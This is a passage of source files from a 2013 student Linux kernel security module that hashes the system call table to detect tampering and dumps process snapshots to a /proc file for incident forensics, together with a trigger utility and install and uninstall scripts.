31 | #include "super-fast-hash.h"
32 | #include "logger.h"
33 | #include "carbonite.h"
34 |
35 | static struct timer_list timer;
36 | static unsigned long timer_interval;
37 | static char checking_module[MODULE_NAME_LEN];
38 |
39 | static uint32_t sys_call_table_hash;
40 | static unsigned int sys_call_table_size;
41 | static unsigned long sys_call_table_address;
42 |
43 | static void (*incident_handler) (int);
44 |
45 | /* Forward declaration for the register_timer_interrupt function */
46 |
47 | void sys_call_table_integrity_checker(unsigned long);
48 |
49 | void register_timer_interrupt(void)
50 | {
51 | int ret;
52 |
53 | if(timer_interval <= 0)
54 | {
55 | return;
56 | }
57 |
58 | setup_timer(&timer, sys_call_table_integrity_checker, 0);
59 |
60 | ret = mod_timer(&timer, jiffies + msecs_to_jiffies(timer_interval));
61 |
62 | if(ret)
63 | {
64 | printk(KERN_ERR "%s:\t[-] Failed to modify timer interval of the timer\n", checking_module);
65 | }
66 | }
67 |
68 | int the_drip_dry_carbonite_module_event(struct notifier_block *this, unsigned long event, void *pointer)
69 | {
70 | unsigned long flags;
71 | struct module *new_module;
72 | DEFINE_SPINLOCK(module_event_spinlock);
73 |
74 | spin_lock_irqsave(&module_event_spinlock, flags);
75 |
76 | new_module = (struct module *) pointer;
77 |
78 | switch(new_module->state)
79 | {
80 | case(MODULE_STATE_COMING):
81 | break;
82 | case(MODULE_STATE_LIVE):
83 |
84 | if(new_module == THIS_MODULE)
85 | {
86 | /* Skip checking for ourselves */
87 |
88 | break;
89 | }
90 |
91 | incident_handler(AFTER_MODULE_INIT);
92 |
93 | break;
94 | case(MODULE_STATE_GOING):
95 | break;
96 | default:
97 | print_log(KERN_ERR MODULE_NAME "%s:\t[-] Unknown module state in notifier chain at module with name: %s\n",
98 | checking_module, new_module->name);
99 | break;
100 | }
101 |
102 | spin_unlock_irqrestore(&module_event_spinlock, flags);
103 |
104 | return NOTIFY_DONE;
105 | }
106 |
107 | static struct notifier_block module_notifier_block =
108 | {
109 | .notifier_call = the_drip_dry_carbonite_module_event,
110 | .priority = INT_MAX
111 | };
112 |
113 | void sys_call_table_integrity_checker(unsigned long data)
114 | {
115 | unsigned long flags;
116 | int sys_call_table_modified = 0;
117 | DEFINE_SPINLOCK(integrity_spinlock);
118 |
119 | /* Run non premptive and unscheduled */
120 |
121 | spin_lock_irqsave(&integrity_spinlock, flags);
122 |
123 | if(sys_call_table_hash != super_fast_hash((char *) sys_call_table_address, sys_call_table_size))
124 | {
125 | sys_call_table_modified = 1;
126 | }
127 |
128 | spin_unlock_irqrestore(&integrity_spinlock, flags);
129 |
130 | if(sys_call_table_modified)
131 | {
132 | printk(KERN_CRIT "%s:\t[-] system call table was modified!\n", checking_module);
133 |
134 | if(incident_handler)
135 | {
136 | incident_handler(AFTER_INCIDENT);
137 | incident_handler = NULL;
138 | }
139 | }
140 | else
141 | {
142 | printk(KERN_INFO "%s:\t[+] system call table is not modified\n", checking_module);
143 | }
144 |
145 | register_timer_interrupt();
146 | }
147 |
148 | int init_sys_call_table_integrity_checker(const char *module_name, unsigned long every, void (*handler) (int))
149 | {
150 | unsigned long next_symbol;
151 |
152 | if(module_name == NULL)
153 | {
154 | printk(KERN_ERR "init_sys_call_table_integrity_checker:\t[-] NULL module name passed as argument\n");
155 |
156 | return 0;
157 | }
158 |
159 | if(every <= 0)
160 | {
161 | printk(KERN_ERR "%s:\t[-] Negative time interval was given to initialization of sys_call_table_integrity_checker\n", module_name);
162 |
163 | return 0;
164 | }
165 |
166 | timer_interval = every;
167 | register_timer_interrupt();
168 |
169 | register_module_notifier(&module_notifier_block);
170 |
171 | sys_call_table_address = my_kallsyms_lookup_name("sys_call_table");
172 |
173 | if(sys_call_table_address == 0)
174 | {
175 | printk(KERN_ERR "%s:\t[-] Failed to get address of sys_call_table symbol\n", module_name);
176 |
177 | return 0;
178 | }
179 |
180 | next_symbol = find_next_symbol(sys_call_table_address);
181 |
182 | if(next_symbol == 0)
183 | {
184 | printk(KERN_ERR "%s:\t[-] Failed to get address of sys_call_table's next symbol\n", module_name);
185 |
186 | return 0;
187 | }
188 |
189 | /* The distance between the addresses of two exported symbols, it the size of the first */
190 |
191 | sys_call_table_size = next_symbol - sys_call_table_address;
192 | sys_call_table_hash = super_fast_hash((char *) sys_call_table_address, sys_call_table_size);
193 |
194 | strncpy(checking_module, module_name, MODULE_NAME_LEN);
195 |
196 | incident_handler = handler;
197 |
198 | return 1;
199 | }
200 |
201 | void destroy_sys_call_table_integrity_checker(void)
202 | {
203 | int ret;
204 |
205 | unregister_module_notifier(&module_notifier_block);
206 |
207 | ret = del_timer(&timer);
208 |
209 | if(!ret)
210 | {
211 | printk("%s:\t[-] Failed to delete timer\n", checking_module);
212 | }
213 |
214 | timer_interval = sys_call_table_address = sys_call_table_size = sys_call_table_hash = checking_module[0] = 0;
215 | }
216 |
217 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/sys-call-table-integrity-check.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _SYS_CALL_TABLE_INTEGRITY_CHECK_
25 | #define _SYS_CALL_TABLE_INTEGRITY_CHECK_
26 |
27 | int init_sys_call_table_integrity_checker(const char *module_name, unsigned long every, void (*incident_handler) (int));
28 |
29 | void destroy_sys_call_table_integrity_checker(void);
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump-list.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "task-dump-list.h"
25 | #include "task-utils.h"
26 | #include
27 | #include
28 |
29 | struct task_dump_node {
30 | struct task_dump *task_dump;
31 | struct task_dump_node *next;
32 | };
33 |
34 | struct task_dump_list {
35 | long size;
36 | struct task_dump_node *head;
37 | struct task_dump_node *tail;
38 | };
39 |
40 | struct task_dump *init_task_dump_from_task(struct task_struct *task)
41 | {
42 | struct task_dump *dump = NULL;
43 |
44 | if(!task)
45 | {
46 | return dump;
47 | }
48 |
49 | dump = kmalloc(sizeof(struct task_dump), GFP_ATOMIC);
50 |
51 | if(!dump)
52 | {
53 | return dump;
54 | }
55 |
56 | dump->pid = task->pid;
57 |
58 | /* Caller has "stopped the world", so there's no need for locking the cred structure */
59 |
60 | dump->uid = task_uid(task);
61 | dump->gid = __task_cred(task)->gid;
62 | get_task_state(task, dump->state);
63 | //TODO arguments
64 | //TODO enviroment
65 | //TODO executables
66 | strncpy(dump->comm, task->comm, TASK_COMM_LEN);
67 | dump->start_time = timespec_to_ns((const struct timespec *) &(task->start_time));
68 |
69 | return dump;
70 | }
71 |
72 | struct task_dump_list *init_task_dump_list(void)
73 | {
74 | struct task_dump_list *list;
75 |
76 | list = kmalloc(sizeof(struct task_dump_list), GFP_ATOMIC);
77 |
78 | if(!list)
79 | {
80 | return list;
81 | }
82 |
83 | list->size = 0;
84 | list-> head = list->tail = NULL;
85 |
86 | return list;
87 | }
88 |
89 | struct task_dump_node *init_task_dump_node(struct task_dump *task_dump)
90 | {
91 | struct task_dump_node *node = kmalloc(sizeof(struct task_dump_node), GFP_ATOMIC);
92 |
93 | if(!node)
94 | {
95 | return node;
96 | }
97 |
98 | node->task_dump = task_dump;
99 | node->next = NULL;
100 |
101 | return node;
102 | }
103 |
104 | int add_task_dump_to_list(struct task_dump_list *list, struct task_dump *dump)
105 | {
106 | struct task_dump_node *node;
107 |
108 | if(!list)
109 | {
110 | return 0;
111 | }
112 |
113 | node = init_task_dump_node(dump);
114 |
115 | if(!node)
116 | {
117 | return 0;
118 | }
119 |
120 | if(!list->head)
121 | {
122 |
123 | list->head = list->tail = node;
124 | }
125 | else
126 | {
127 | list->tail->next = node;
128 | list->tail = node;
129 | }
130 |
131 | list->size++;
132 |
133 | return 1;
134 | }
135 |
136 | long get_size(struct task_dump_list *list)
137 | {
138 | return (list ? list->size : 0);
139 | }
140 |
141 |
142 | struct task_dump *get_task_dump(struct task_dump_list *list, long n)
143 | {
144 | struct task_dump_node *node = list->head;
145 |
146 | if(n > list->size)
147 | {
148 | return NULL;
149 | }
150 |
151 | while(n-- && node)
152 | {
153 | node = node->next;
154 | }
155 |
156 | if(node)
157 | {
158 | return node->task_dump;
159 | }
160 |
161 | return NULL;
162 | }
163 |
164 |
165 | void destroy_task_dump_list(struct task_dump_list *list)
166 | {
167 | struct task_dump_node *temp, *to_delete;
168 |
169 | if(!list)
170 | {
171 | return;
172 | }
173 |
174 | temp = to_delete = list->head;
175 |
176 | while(to_delete)
177 | {
178 | temp = to_delete;
179 | to_delete = to_delete->next;
180 |
181 | if(temp->task_dump)
182 | {
183 | kfree(temp->task_dump);
184 | }
185 |
186 | kfree(temp);
187 | }
188 | }
189 |
190 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump-list.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _TASK_DUMP_LIST_
25 | #define _TASK_DUMP_LIST_
26 |
27 | #include
28 |
29 | /* Export structure to the client, in order to avoid mutators and accessors */
30 |
31 | #define MAX_STATE_LEN 2
32 |
33 | struct task_dump {
34 | pid_t pid;
35 | uid_t uid;
36 | gid_t gid;
37 | char *aruments;
38 | char *enviroment;
39 | char state[MAX_STATE_LEN];
40 | char comm[TASK_COMM_LEN];
41 | signed long long start_time;
42 | };
43 |
44 | struct task_dump_list;
45 |
46 | struct task_dump *init_task_dump_from_task(struct task_struct *task);
47 |
48 | struct task_dump_list *init_task_dump_list(void);
49 |
50 | int add_task_dump_to_list(struct task_dump_list *list, struct task_dump *dump);
51 |
52 | void destroy_task_dump_list(struct task_dump_list *list);
53 |
54 | struct task_dump *get_task_dump(struct task_dump_list *list, long n);
55 |
56 | long get_size(struct task_dump_list *list);
57 |
58 | #endif
59 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump-seq-file.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include
27 | #include
28 | #include
29 | #include "task-dump-seq-file.h"
30 | #include "task-dump-list.h"
31 | #include "logger.h"
32 |
33 | #define DUMP_PROC_ENTRY_NAME "the-drip-dry-carbonite-dump"
34 |
35 | static struct task_dump_list *list;
36 | static struct proc_dir_entry *dump_proc_entry;
37 |
38 | void *task_dump_seq_start(struct seq_file *s, loff_t *pos)
39 | {
40 | if(*pos == 0)
41 | {
42 | loff_t *spos = kmalloc(sizeof(loff_t), GFP_KERNEL);
43 |
44 | if(!spos)
45 | {
46 | return spos;
47 | }
48 |
49 | *spos = *pos;
50 |
51 | return spos;
52 | }
53 | else if(*pos > get_size(list))
54 | {
55 | /* Terminate the sequence */
56 |
57 | *pos = 0;
58 |
59 | return NULL;
60 | }
61 | else
62 | {
63 | return pos;
64 | }
65 | }
66 |
67 | void *task_dump_seq_next(struct seq_file *s, void *v, loff_t *pos)
68 | {
69 | loff_t *spos = (loff_t *) v;
70 |
71 | /* size of list + 1, because of the header (printed when the iterator is 0) */
72 |
73 | if(*pos > get_size(list) + 1)
74 | {
75 | return NULL;
76 | }
77 |
78 | *pos = ++(*spos);
79 |
80 | return spos;
81 | }
82 |
83 | void task_dump_seq_stop(struct seq_file *s, void *v)
84 | {
85 | if(v)
86 | {
87 | kfree(v);
88 | }
89 | }
90 |
91 | int task_dump_seq_show(struct seq_file *s, void *v)
92 | {
93 | loff_t *spos = (loff_t *) v;
94 | struct task_dump *dump;
95 |
96 | if(!list || get_size(list) == 0)
97 | {
98 | /* Don't display the header if the list is empty */
99 |
100 | return 0;
101 | }
102 |
103 | /* First element to print will be the header of the report */
104 |
105 | if(*spos == 0)
106 | {
107 | char log[MAX_LOG_LEN];
108 |
109 | sprintf(log, " PID UID GID STATE NAME Start Time\n");
110 |
111 | /* Log remotely (if possible) and show also the log */
112 |
113 | print_log(log);
114 | seq_printf(s, log);
115 |
116 | return 0;
117 | }
118 |
119 | /* Reduce the iterator by 1, because the header that we printed */
120 |
121 | dump = get_task_dump(list, (*spos - 1));
122 |
123 | if(dump)
124 | {
125 | char log[MAX_LOG_LEN];
126 |
127 | sprintf(log, "%4d\t%4d\t%4d\t%s %15s\t%lld\n", dump->pid, dump->uid, dump->gid, dump->state,
128 | dump->comm, dump->start_time);
129 |
130 | /* Log remotely (if possible) and show also the log */
131 |
132 | print_log(log);
133 | seq_printf(s, log);
134 | }
135 |
136 | return 0;
137 | }
138 |
139 | struct seq_operations task_dump_seq_ops = {
140 | .start = task_dump_seq_start,
141 | .next = task_dump_seq_next,
142 | .stop = task_dump_seq_stop,
143 | .show = task_dump_seq_show
144 | };
145 |
146 | int task_dump_open(struct inode *inode, struct file *file)
147 | {
148 | return seq_open(file, &task_dump_seq_ops);
149 | };
150 |
151 | struct file_operations task_dump_file_ops = {
152 | .owner = THIS_MODULE,
153 | .open = task_dump_open,
154 | .read = seq_read,
155 | .llseek = seq_lseek,
156 | .release = seq_release
157 | };
158 |
159 | int init_dump_seq_file(struct task_dump_list *dump_list)
160 | {
161 | if(!dump_list)
162 | {
163 | return 0;
164 | }
165 |
166 | list = dump_list;
167 |
168 | if(dump_proc_entry)
169 | {
170 | return 1;
171 | }
172 |
173 | dump_proc_entry = create_proc_entry(DUMP_PROC_ENTRY_NAME, 0400, NULL);
174 |
175 | if(!dump_proc_entry)
176 | {
177 | return 0;
178 | }
179 |
180 | dump_proc_entry->proc_fops = &task_dump_file_ops;
181 |
182 | return 1;
183 | }
184 |
185 | void destroy_dump_seq_file(void)
186 | {
187 | if(dump_proc_entry)
188 | {
189 | remove_proc_entry(DUMP_PROC_ENTRY_NAME, NULL);
190 | dump_proc_entry = NULL;
191 | }
192 | }
193 |
194 |
195 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump-seq-file.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _TASK_DUMP_SEQ_FILE_
25 | #define _TASK_DUMP_SEQ_FILE_
26 |
27 | struct task_dump_list;
28 |
29 | int init_dump_seq_file(struct task_dump_list *list);
30 |
31 | void destroy_dump_seq_file(void);
32 |
33 | #endif
34 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include "task-dump.h"
26 | #include "task-dump-list.h"
27 | #include "task-dump-seq-file.h"
28 |
29 | static struct task_dump_list *dump_list;
30 |
31 | int init_task_dump(void)
32 | {
33 | if(dump_list)
34 | {
35 | destroy_task_dump_list(dump_list);
36 | }
37 |
38 | dump_list = init_task_dump_list();
39 |
40 | if(dump_list == NULL)
41 | {
42 | return 0;
43 | }
44 |
45 | return init_dump_seq_file(dump_list);
46 | }
47 |
48 | int dump_task(struct task_struct *task)
49 | {
50 | return add_task_dump_to_list(dump_list, init_task_dump_from_task(task));
51 | }
52 |
53 | void destroy_task_dump(void)
54 | {
55 | destroy_dump_seq_file();
56 | destroy_task_dump_list(dump_list);
57 | }
58 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-dump.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _TASK_DUMP_
25 | #define _TASK_DUMP_
26 |
27 | #include
28 | #include
29 |
30 | int init_task_dump(void);
31 |
32 | int dump_task(struct task_struct *task);
33 |
34 | void destroy_task_dump(void);
35 |
36 | #endif
37 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-utils.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include "task-utils.h"
25 | #include
26 |
27 | /*
28 | * The task state array is a strange "bitmap" of
29 | * reasons to sleep. Thus "running" is zero, and
30 | * you can test for combinations of others with
31 | * simple bit tests.
32 | */
33 | static const char *task_state_array[] = {
34 | "R", /* 0 */
35 | "S", /* 1 */
36 | "D", /* 2 */
37 | "Z", /* 4 */
38 | "T", /* 8 */
39 | "W" /* 16 */
40 | };
41 |
42 | static inline const char *_get_task_state(struct task_struct *tsk)
43 | {
44 | unsigned int state = tsk->state & (TASK_REPORT);
45 |
46 | const char **p = &task_state_array[0];
47 |
48 | while (state) {
49 | p++;
50 | state >>= 1;
51 | }
52 | return *p;
53 | }
54 |
55 | void get_task_state(struct task_struct *task, char *buffer)
56 | {
57 | if(!task || !buffer)
58 | {
59 | return;
60 | }
61 |
62 | strncpy(buffer, _get_task_state(task), MAX_STATE_LEN);
63 | }
64 |
65 |
66 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/src/task-utils.h:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #ifndef _TASK_UTILS_
25 | #define _TASK_UTILS_
26 |
27 | #include "task-dump-list.h"
28 |
29 | void get_task_state(struct task_struct *task, char *buffer);
30 |
31 | #endif
32 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/utils/Makefile:
--------------------------------------------------------------------------------
1 | all: trigger-carbonite
2 |
3 | trigger-carbonite: trigger-carbonite.c
4 | gcc trigger-carbonite.c -o trigger-carbonite
5 |
6 | clean:
7 | rm -f trigger-carbonite
8 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/utils/install:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | cd ../src
4 |
5 | # compile the module
6 |
7 | make
8 | ret=$?
9 |
10 | if [ $ret != 0 ]
11 | then
12 | echo -e "\e[00;31m [-] Failed to compile kernel module\e[00m"
13 | exit $ret
14 | fi
15 |
16 | echo -e "\e[00;32m [+] Compiled kernel module\e[00m"
17 |
18 | # insert the module
19 |
20 | sudo /sbin/insmod ./the-drip-dry-carbonite.ko
21 | ret=$?
22 |
23 | if [ $ret != 0 ]
24 | then
25 | echo -e "\e[00;31m [-] Failed to insert kernel module\e[00m"
26 | make clean
27 | exit $ret
28 | fi
29 |
30 | echo -e "\e[00;32m [+] Inserted kernel module\e[00m"
31 |
32 | # get the major number of the character device and create a special file
33 |
34 | major=`cat /proc/command-the-drip-dry-carbonite-major`
35 | sudo mknod /dev/command-the-drip-dry-carbonite c $major 0
36 |
37 | if [ $ret != 0 ]
38 | then
39 | echo -e "\e[00;31mFailed to create the character device\e[00m"
40 | sudo /sbin/rmmod the_drip_dry_carbonite
41 | make clean
42 | exit $ret
43 | fi
44 |
45 | make clean
46 |
47 | # compile the user-space tool
48 |
49 | cd ../utils
50 | make
51 |
52 | if [ $ret != 0 ]
53 | then
54 | echo -e "\e[00;31m [-] Failed to compile trigger-carbonite\e[00m"
55 | sudo /sbin/rmmod the_drip_dry_carbonite
56 | make clean
57 | exit $ret
58 | fi
59 |
60 | echo -e "\e[00;32m [+] Compiled user-space tool (trigger-carbonite)\e[00m"
61 |
62 | #copy trigger-carbonite to /usr/bin and /bin
63 |
64 | cp trigger-carbonite /usr/bin
65 | cp trigger-carbonite /bin
66 |
67 | echo -e "\e[00;32m [+] Moved trigger-carbonite to /bin and /urs/bin\e[00m"
68 |
69 | exit 0
70 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/utils/trigger-carbonite.c:
--------------------------------------------------------------------------------
1 | /*
2 | * Security extensions for the linux kernel, as described in "Special Focus Issue: Security" article,
3 | * by Rik Farrow at the MAGAZINE OF USENIX & SAGE. The current project merges the 2 suggestions in
4 | * a kernel module that is compatible with the lastest versions of the linux kernel and incorporates
5 | * some modern security mechanisms.
6 | * Project for the master course "Advanced Operating Systems", instructed by Mema Rousopoulos
7 | *
8 | * Copyright (C) 2013 Panos Sakkos
9 | *
10 | * This program is free software: you can redistribute it and/or modify
11 | * it under the terms of the GNU General Public License as published by
12 | * the Free Software Foundation, either version 3 of the License, or
13 | * (at your option) any later version.
14 | *
15 | * This program is distributed in the hope that it will be useful,
16 | * but WITHOUT ANY WARRANTY; without even the implied warranty of
17 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
18 | * GNU General Public License for more details.
19 | *
20 | * You should have received a copy of the GNU General Public License
21 | * along with this program. If not, see .
22 | */
23 |
24 | #include
25 | #include
26 | #include "../src/command-chrdev.h"
27 |
28 | /* A simple source to trigger the module to execute the carbonite functionality.
29 | * This utility shoud be used from the system's administrator after a security
30 | * incident, in order to freeze the system and dump snapshots of the running processes.
31 | */
32 |
33 | int main(void)
34 | {
35 | int fd, ret;
36 |
37 | fd = open("/dev/command-the-drip-dry-carbonite", O_RDONLY);
38 |
39 | if(fd < 0)
40 | {
41 | perror("/dev/command-the-drip-dry-carbonite");
42 | return -1;
43 | }
44 |
45 | ret = ioctl(fd, IOCTL_CARBONITE_COMMAND);
46 |
47 | if(ret != 0)
48 | {
49 | perror("need root");
50 | return -1;
51 | }
52 |
53 | close(fd);
54 |
55 | return 0;
56 | }
57 |
58 |
59 |
--------------------------------------------------------------------------------
/the-drip-dry-carbonite/utils/uninstall:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #remove kernel module
4 |
5 | rmmod the-drip-dry-carbonite 2 &> /dev/null
6 |
7 | #delete special file
8 | rm /dev/command-the-drip-dry-carbonite 2 &> /dev/null
9 |
10 | #delete trigger-carbonite from /bin and /usr/bin
11 |
12 | rm /bin/trigger-carbonite /usr/bin/trigger-carbonite 2 &> /dev/null
13 |
14 | echo -e "\e[00;32m [+] the-drip-dry-carbonite was uninstalled successfully\e[00m"
15 |
16 |
--------------------------------------------------------------------------------